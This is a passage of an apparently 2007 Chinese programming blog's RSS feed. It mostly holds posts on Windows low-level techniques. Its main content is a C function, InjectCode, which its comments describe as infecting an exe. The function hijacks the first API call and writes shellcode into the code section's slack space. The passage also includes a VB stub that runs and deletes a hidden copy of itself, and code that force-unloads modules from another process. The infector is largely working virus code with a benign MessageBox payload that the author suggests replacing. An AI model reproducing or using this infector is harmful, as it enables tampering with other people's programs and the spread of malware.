<p><br>idProg&nbsp;=&nbsp;Shell(App.Path&nbsp;&amp;&nbsp;"\"&nbsp;&amp;&nbsp;App.EXEName&nbsp;&amp;&nbsp;".eve",&nbsp;vbNormalFocus)<br>hProg&nbsp;=&nbsp;OpenProcess(PROCESS_ALL_ACCESS,&nbsp;False,&nbsp;idProg)<br>GetExitCodeProcess&nbsp;hProg,&nbsp;iExit<br>Do&nbsp;While&nbsp;iExit&nbsp;=&nbsp;STILL_ACTIVE<br>DoEvents<br>GetExitCodeProcess&nbsp;hProg,&nbsp;iExit<br>Loop<br>Kill&nbsp;App.Path&nbsp;&amp;&nbsp;"\"&nbsp;&amp;&nbsp;App.EXEName&nbsp;&amp;&nbsp;".eve"</p>
<p>Else<br>Close&nbsp;#1</p>
<p>End&nbsp;If</p>
<p>End</p>
<p>vbVerror:&nbsp;'出错处理，空着就可以了</p>
<p>End&nbsp;Sub</p>
<br><br>VC：<br><br>/**************************************************************<br>* 函数：InjectCode<br>* 参数：char szHostFile[]--待感染的exe文件路径<br><br>* 功能：感染一个exe程序，运行显示&#8220;金猪拜年&#8221;的MessageBox<br>* 从代码节开始搜索,替换第一个发现的call api的指令<br>* 把目标代码插入代码节的尾部<br>* 代码仅供演示之用,没有做过多的错误处理<br>* 感染当前hello.exe,插入一段弹出对话框代码（当然你可以修改成启动文件的代码，嘿嘿）<br>* coded by robinh00d<br>* robinh00d_at_163.com<br>* 编译:cl epo.c<br>**************************************************************/<br>int InjectCode(char szHostFile[])<br>{//#include &lt;windows.h&gt;<br>&nbsp; &nbsp; PIMAGE_DOS_HEADER pImageDosHeader ;<br>&nbsp; &nbsp; PIMAGE_NT_HEADERS pImageNtHeaders ;<br>&nbsp; &nbsp; PIMAGE_SECTION_HEADER pImageSectionHeader;<br>&nbsp; &nbsp; unsigned char thunkcode[] = "\x60\x9c\xe8\x00\x00\x00\x00\x5b"<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "\x81\xeb\x0d\x10\x40\x00\x6a\x00"<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "\x8d\x83\x30\x10\x40\x00\x50\x50"<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "\x6a\x00\xb8\x78\x56\x34\x12\xff"<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "\xd0\x9d\x61\xff\x25\x3a\x10\x40"<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "\x00\x90\xBD\xF0\xD6\xED\xB0\xDD"<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; "\xC4\xEA\x00";<br>&nbsp; &nbsp; HANDLE hFile ;<br>&nbsp; &nbsp; HANDLE hMap ;<br>&nbsp; &nbsp; LPVOID pMapping ;<br>&nbsp; &nbsp; DWORD dwGapSize ;<br>&nbsp; &nbsp; unsigned char *pGapEntry ;<br>&nbsp; &nbsp; int i ;<br>&nbsp; &nbsp; PROC MsgBox ;<br>&nbsp; &nbsp; DWORD OldEntry ;<br>&nbsp; &nbsp; int x = 0x18 ;<br>&nbsp; &nbsp; int vir_len ;<br>&nbsp; &nbsp; unsigned char *pSearch ;<br>&nbsp; &nbsp; DWORD *dwCallNextAddr ;<br>&nbsp; &nbsp; DWORD *dwCallDataOffset ;<br>&nbsp; &nbsp; DWORD *dwCallDataAddr ;<br>&nbsp; &nbsp; DWORD dwCallData ;<br>&nbsp; &nbsp; DWORD dwCodeDistance ;<br>&nbsp; &nbsp; DWORD *dwJmpAddr ;<br>&nbsp; &nbsp; DWORD dwJmpData ;<br>&nbsp; &nbsp; DWORD dwJmpVA ;<br><br>&nbsp; &nbsp; //:::<br>&nbsp; &nbsp; hFile = CreateFile(szHostFile,<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; FILE_SHARE_READ|FILE_SHARE_WRITE,<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; FILE_SHARE_READ|FILE_SHARE_WRITE,<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; NULL,<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; OPEN_EXISTING,<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; FILE_ATTRIBUTE_NORMAL,<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; NULL) ;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br>&nbsp; &nbsp; if (hFile==INVALID_HANDLE_VALUE)<br>&nbsp; &nbsp; {<br>&nbsp; &nbsp; &nbsp; &nbsp; return -1 ;<br>&nbsp; &nbsp; }<br>&nbsp; &nbsp; <br>&nbsp; &nbsp; hMap = CreateFileMapping(hFile,<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; NULL,<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; PAGE_READWRITE,<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 0,<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 0,<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; NULL) ;<br>&nbsp; &nbsp; if (!hMap)<br>&nbsp; &nbsp; &nbsp; &nbsp; return -1 ;<br>&nbsp; &nbsp; <br>&nbsp; &nbsp; pMapping = MapViewOfFile(hMap,<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; FILE_MAP_ALL_ACCESS,<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 0,<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 0,<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 0) ;<br>&nbsp; &nbsp; if (!pMapping)<br>&nbsp; &nbsp; &nbsp; &nbsp; return -1 ;<br>&nbsp; &nbsp; <br>&nbsp; &nbsp; pImageDosHeader = (PIMAGE_DOS_HEADER)pMapping ;<br>&nbsp; &nbsp; if (pImageDosHeader-&gt;e_magic==IMAGE_DOS_SIGNATURE)<br>&nbsp; &nbsp; {<br>&nbsp; &nbsp; &nbsp; &nbsp; pImageNtHeaders = (PIMAGE_NT_HEADERS)((DWORD)pMapping+pImageDosHeader-&gt;e_lfanew) ;<br>&nbsp; &nbsp; &nbsp; &nbsp; if (pImageNtHeaders-&gt;Signature==IMAGE_NT_SIGNATURE)<br>&nbsp; &nbsp; &nbsp; &nbsp; {<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pImageSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD)pMapping+<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pImageDosHeader-&gt;e_lfanew+<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sizeof(IMAGE_NT_HEADERS)) ;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; dwGapSize = pImageSectionHeader-&gt;SizeOfRawData - pImageSectionHeader-<br><br>&gt;Misc.VirtualSize ;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (sizeof(thunkcode)&gt;dwGapSize)<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; goto Close ;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pGapEntry = (unsigned char *)(pImageSectionHeader-&gt;PointerToRawData+<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; (DWORD)pMapping+<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pImageSectionHeader-&gt;Misc.VirtualSize) ;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; OldEntry = pImageNtHeaders-&gt;OptionalHeader.ImageBase+<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pImageNtHeaders-&gt;OptionalHeader.AddressOfEntryPoint ;<br><br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; MsgBox = (PROC)GetProcAddress(LoadLibrary("user32.dll"),"MessageBoxA") ;<br><br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; //修改为当前系统的MessageBoxA地址<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; for (i=3;i&gt;=0;i--)<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; thunkcode[i+27] = ((unsigned int)MsgBox&gt;&gt;x)&amp;0xff ;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; x -= 8 ;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; x = 24 ;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; vir_len = (int)pImageSectionHeader-&gt;Misc.VirtualSize ;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pSearch = (unsigned char *)(pImageSectionHeader-&gt;PointerToRawData+<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; (DWORD)pMapping) ;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; //:::搜索call指令(0xe8)<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; for (i=0;i&lt;vir_len;i++)<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (pSearch[i]==0xe8)<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; dwCallDataAddr = (DWORD *)(&amp;pSearch[i]+1) ;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; dwCallNextAddr=(DWORD *)(&amp;pSearch[i]+5) ;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; dwJmpAddr = (DWORD *)(*dwCallDataAddr+ (DWORD)dwCallNextAddr) ;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; dwJmpVA = (DWORD)dwJmpAddr-<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ((DWORD)pMapping+pImageSectionHeader-&gt;PointerToRawData)+<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pImageNtHeaders-&gt;OptionalHeader.ImageBase+<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pImageNtHeaders-&gt;OptionalHeader.AddressOfEntryPoint ;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; dwJmpData = *((DWORD *)((unsigned char *)dwJmpAddr+2)) ;<br><br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if ((*dwJmpAddr&amp;0xffff)==0x25ff)<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; dwCodeDistance = (DWORD)pGapEntry - (DWORD)dwCallNextAddr ;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; *dwCallDataAddr = dwCodeDistance ;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; for (i=3;i&gt;=0;i--)<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; thunkcode[i+37] = ((unsigned int)dwJmpData&gt;&gt;x)&amp;0xff ;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; x -= 8 ;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; for (i=0;i&lt;sizeof(thunkcode);i++)<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pGapEntry[i] = thunkcode[i] ;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; break ;<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }<br>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <br>&nbsp; &nbsp; &nbsp; &nbsp; }<br>&nbsp; &nbsp; }<br><br>Close:<br>&nbsp; &nbsp; UnmapViewOfFile(pMapping) ;<br>&nbsp; &nbsp; CloseHandle(hMap) ;<br>&nbsp; &nbsp; CloseHandle(hFile) ;<br>&nbsp; &nbsp; <br>&nbsp; &nbsp; return 0 ;<br>} 
<img src ="http://www.cppblog.com/elva/aggbug/33760.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/elva/" target="_blank">叶子</a> 2007-10-08 14:21 <a href="http://www.cppblog.com/elva/archive/2007/10/08/33760.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>利用NtUnmapViewOfSection强制卸载模块 </title><link>http://www.cppblog.com/elva/archive/2007/09/24/32788.html</link><dc:creator>叶子</dc:creator><author>叶子</author><pubDate>Mon, 24 Sep 2007 07:08:00 GMT</pubDate><guid>http://www.cppblog.com/elva/archive/2007/09/24/32788.html</guid><wfw:comment>http://www.cppblog.com/elva/comments/32788.html</wfw:comment><comments>http://www.cppblog.com/elva/archive/2007/09/24/32788.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.cppblog.com/elva/comments/commentRss/32788.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/elva/services/trackbacks/32788.html</trackback:ping><description><![CDATA[确实可以卸载指定进程指定位置的模块，但有几个问题：<br>[1]&nbsp; PEB的模块列表中还存在该模块的记录，大部分模块枚举函数都是枚举这个列表<br>[2]&nbsp; 可能会出现访问异常<br><br>看来RING3下是不可能做到强制卸载模块的完美实现，要进ring0才行。下面是测试代码<br>
<div style="BORDER-RIGHT: windowtext 0.5pt solid; PADDING-RIGHT: 5.4pt; BORDER-TOP: windowtext 0.5pt solid; PADDING-LEFT: 5.4pt; BACKGROUND: rgb(230,230,230) 0% 50%; PADDING-BOTTOM: 4px; BORDER-LEFT: windowtext 0.5pt solid; WIDTH: 95%; PADDING-TOP: 4px; BORDER-BOTTOM: windowtext 0.5pt solid; moz-background-clip: -moz-initial; moz-background-origin: -moz-initial; moz-background-inline-policy: -moz-initial">
<div><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/None.gif" align=top><span style="COLOR: rgb(0,0,0)">typedef&nbsp;ULONG&nbsp;(WINAPI&nbsp;</span><span style="COLOR: rgb(0,0,0)">*</span><span style="COLOR: rgb(0,0,0)">PFNNtUnmapViewOfSection)(&nbsp;IN&nbsp;HANDLE&nbsp;ProcessHandle,IN&nbsp;PVOID&nbsp;BaseAddress&nbsp;);<br><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/None.gif" align=top><br><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/None.gif" align=top>BOOL&nbsp;UnmapViewOfModule&nbsp;(&nbsp;DWORD&nbsp;dwProcessId,&nbsp;LPVOID&nbsp;lpBaseAddr&nbsp;)<br><img id=_162_613_Open_Image onclick="this.style.display='none'; document.getElementById('_162_613_Open_Text').style.display='none'; document.getElementById('_162_613_Closed_Image').style.display='inline'; document.getElementById('_162_613_Closed_Text').style.display='inline';" alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/ExpandedBlockStart.gif" align=top><img id=_162_613_Closed_Image style="DISPLAY: none" onclick="this.style.display='none'; document.getElementById('_162_613_Closed_Text').style.display='none'; document.getElementById('_162_613_Open_Image').style.display='inline'; document.getElementById('_162_613_Open_Text').style.display='inline';" alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/ContractedBlock.gif" align=top></span><span id=_162_613_Closed_Text style="BORDER-RIGHT: rgb(128,128,128) 1px solid; BORDER-TOP: rgb(128,128,128) 1px solid; DISPLAY: none; BORDER-LEFT: rgb(128,128,128) 1px solid; BORDER-BOTTOM: rgb(128,128,128) 1px solid; BACKGROUND-COLOR: rgb(255,255,255)">...</span><span id=_162_613_Open_Text><span style="COLOR: rgb(0,0,0)">{<br><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;HMODULE&nbsp;hModule&nbsp;</span><span style="COLOR: rgb(0,0,0)">=</span><span style="COLOR: rgb(0,0,0)">&nbsp;GetModuleHandle&nbsp;(&nbsp;L</span><span style="COLOR: rgb(0,0,0)">"</span><span style="COLOR: rgb(0,0,0)">ntdll.dll</span><span style="COLOR: rgb(0,0,0)">"</span><span style="COLOR: rgb(0,0,0)">&nbsp;)&nbsp;;<br><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: rgb(0,0,255)">if</span><span style="COLOR: rgb(0,0,0)">&nbsp;(&nbsp;hModule&nbsp;</span><span style="COLOR: rgb(0,0,0)">==</span><span style="COLOR: rgb(0,0,0)">&nbsp;NULL&nbsp;)<br><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;hModule&nbsp;</span><span style="COLOR: rgb(0,0,0)">=</span><span style="COLOR: rgb(0,0,0)">&nbsp;LoadLibrary&nbsp;(&nbsp;L</span><span style="COLOR: rgb(0,0,0)">"</span><span style="COLOR: rgb(0,0,0)">ntdll.dll</span><span style="COLOR: rgb(0,0,0)">"</span><span style="COLOR: rgb(0,0,0)">&nbsp;)&nbsp;;<br><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/InBlock.gif" align=top><br><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;PFNNtUnmapViewOfSection&nbsp;pfnNtUnmapViewOfSection&nbsp;</span><span style="COLOR: rgb(0,0,0)">=</span><span style="COLOR: rgb(0,0,0)">&nbsp;(PFNNtUnmapViewOfSection)GetProcAddress&nbsp;(&nbsp;hModule,&nbsp;</span><span style="COLOR: rgb(0,0,0)">"</span><span style="COLOR: rgb(0,0,0)">NtUnmapViewOfSection</span><span style="COLOR: rgb(0,0,0)">"</span><span style="COLOR: rgb(0,0,0)">&nbsp;)&nbsp;;<br><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;<br><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;HANDLE&nbsp;hProcess&nbsp;</span><span style="COLOR: rgb(0,0,0)">=</span><span style="COLOR: rgb(0,0,0)">&nbsp;OpenProcess&nbsp;(&nbsp;PROCESS_ALL_ACCESS,&nbsp;TRUE,&nbsp;dwProcessId&nbsp;)&nbsp;;<br><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;ULONG&nbsp;&nbsp;&nbsp;&nbsp;ret&nbsp;</span><span style="COLOR: rgb(0,0,0)">=</span><span style="COLOR: rgb(0,0,0)">&nbsp;pfnNtUnmapViewOfSection&nbsp;(&nbsp;hProcess,&nbsp;lpBaseAddr&nbsp;)&nbsp;;<br><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;CloseHandle&nbsp;(&nbsp;hProcess&nbsp;)&nbsp;;<br><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/InBlock.gif" align=top>&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: rgb(0,0,255)">return</span><span style="COLOR: rgb(0,0,0)">&nbsp;ret&nbsp;</span><span style="COLOR: rgb(0,0,0)">?</span><span style="COLOR: rgb(0,0,0)">&nbsp;</span><span style="COLOR: rgb(0,0,255)">false</span><span style="COLOR: rgb(0,0,0)">&nbsp;:&nbsp;</span><span style="COLOR: rgb(0,0,255)">true</span><span style="COLOR: rgb(0,0,0)">&nbsp;;<br><img alt="" src="http://images.csdn.net/syntaxhighlighting/OutliningIndicators/ExpandedBlockEnd.gif" align=top>}</span></span></div>
</div>
<br>
<img src ="http://www.cppblog.com/elva/aggbug/32788.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/elva/" target="_blank">叶子</a> 2007-09-24 15:08 <a href="http://www.cppblog.com/elva/archive/2007/09/24/32788.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>BIOS Rootkit:Welcome home,my Lord!</title><link>http://www.cppblog.com/elva/archive/2007/05/23/24706.html</link><dc:creator>叶子</dc:creator><author>叶子</author><pubDate>Wed, 23 May 2007 11:35:00 GMT</pubDate><guid>http://www.cppblog.com/elva/archive/2007/05/23/24706.html</guid><wfw:comment>http://www.cppblog.com/elva/comments/24706.html</wfw:comment><comments>http://www.cppblog.com/elva/archive/2007/05/23/24706.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/elva/comments/commentRss/24706.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/elva/services/trackbacks/24706.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: &nbsp;&nbsp;<a href='http://www.cppblog.com/elva/archive/2007/05/23/24706.html'>阅读全文</a><img src ="http://www.cppblog.com/elva/aggbug/24706.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/elva/" target="_blank">叶子</a> 2007-05-23 19:35 <a href="http://www.cppblog.com/elva/archive/2007/05/23/24706.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Do all in one exe file Under Win32 </title><link>http://www.cppblog.com/elva/archive/2007/05/23/24705.html</link><dc:creator>叶子</dc:creator><author>叶子</author><pubDate>Wed, 23 May 2007 11:12:00 GMT</pubDate><guid>http://www.cppblog.com/elva/archive/2007/05/23/24705.html</guid><wfw:comment>http://www.cppblog.com/elva/comments/24705.html</wfw:comment><comments>http://www.cppblog.com/elva/archive/2007/05/23/24705.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/elva/comments/commentRss/24705.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/elva/services/trackbacks/24705.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: &nbsp;&nbsp;<a href='http://www.cppblog.com/elva/archive/2007/05/23/24705.html'>阅读全文</a><img src ="http://www.cppblog.com/elva/aggbug/24705.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/elva/" target="_blank">叶子</a> 2007-05-23 19:12 <a href="http://www.cppblog.com/elva/archive/2007/05/23/24705.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>扭曲变换加密</title><link>http://www.cppblog.com/elva/archive/2007/05/15/24147.html</link><dc:creator>叶子</dc:creator><author>叶子</author><pubDate>Tue, 15 May 2007 05:17:00 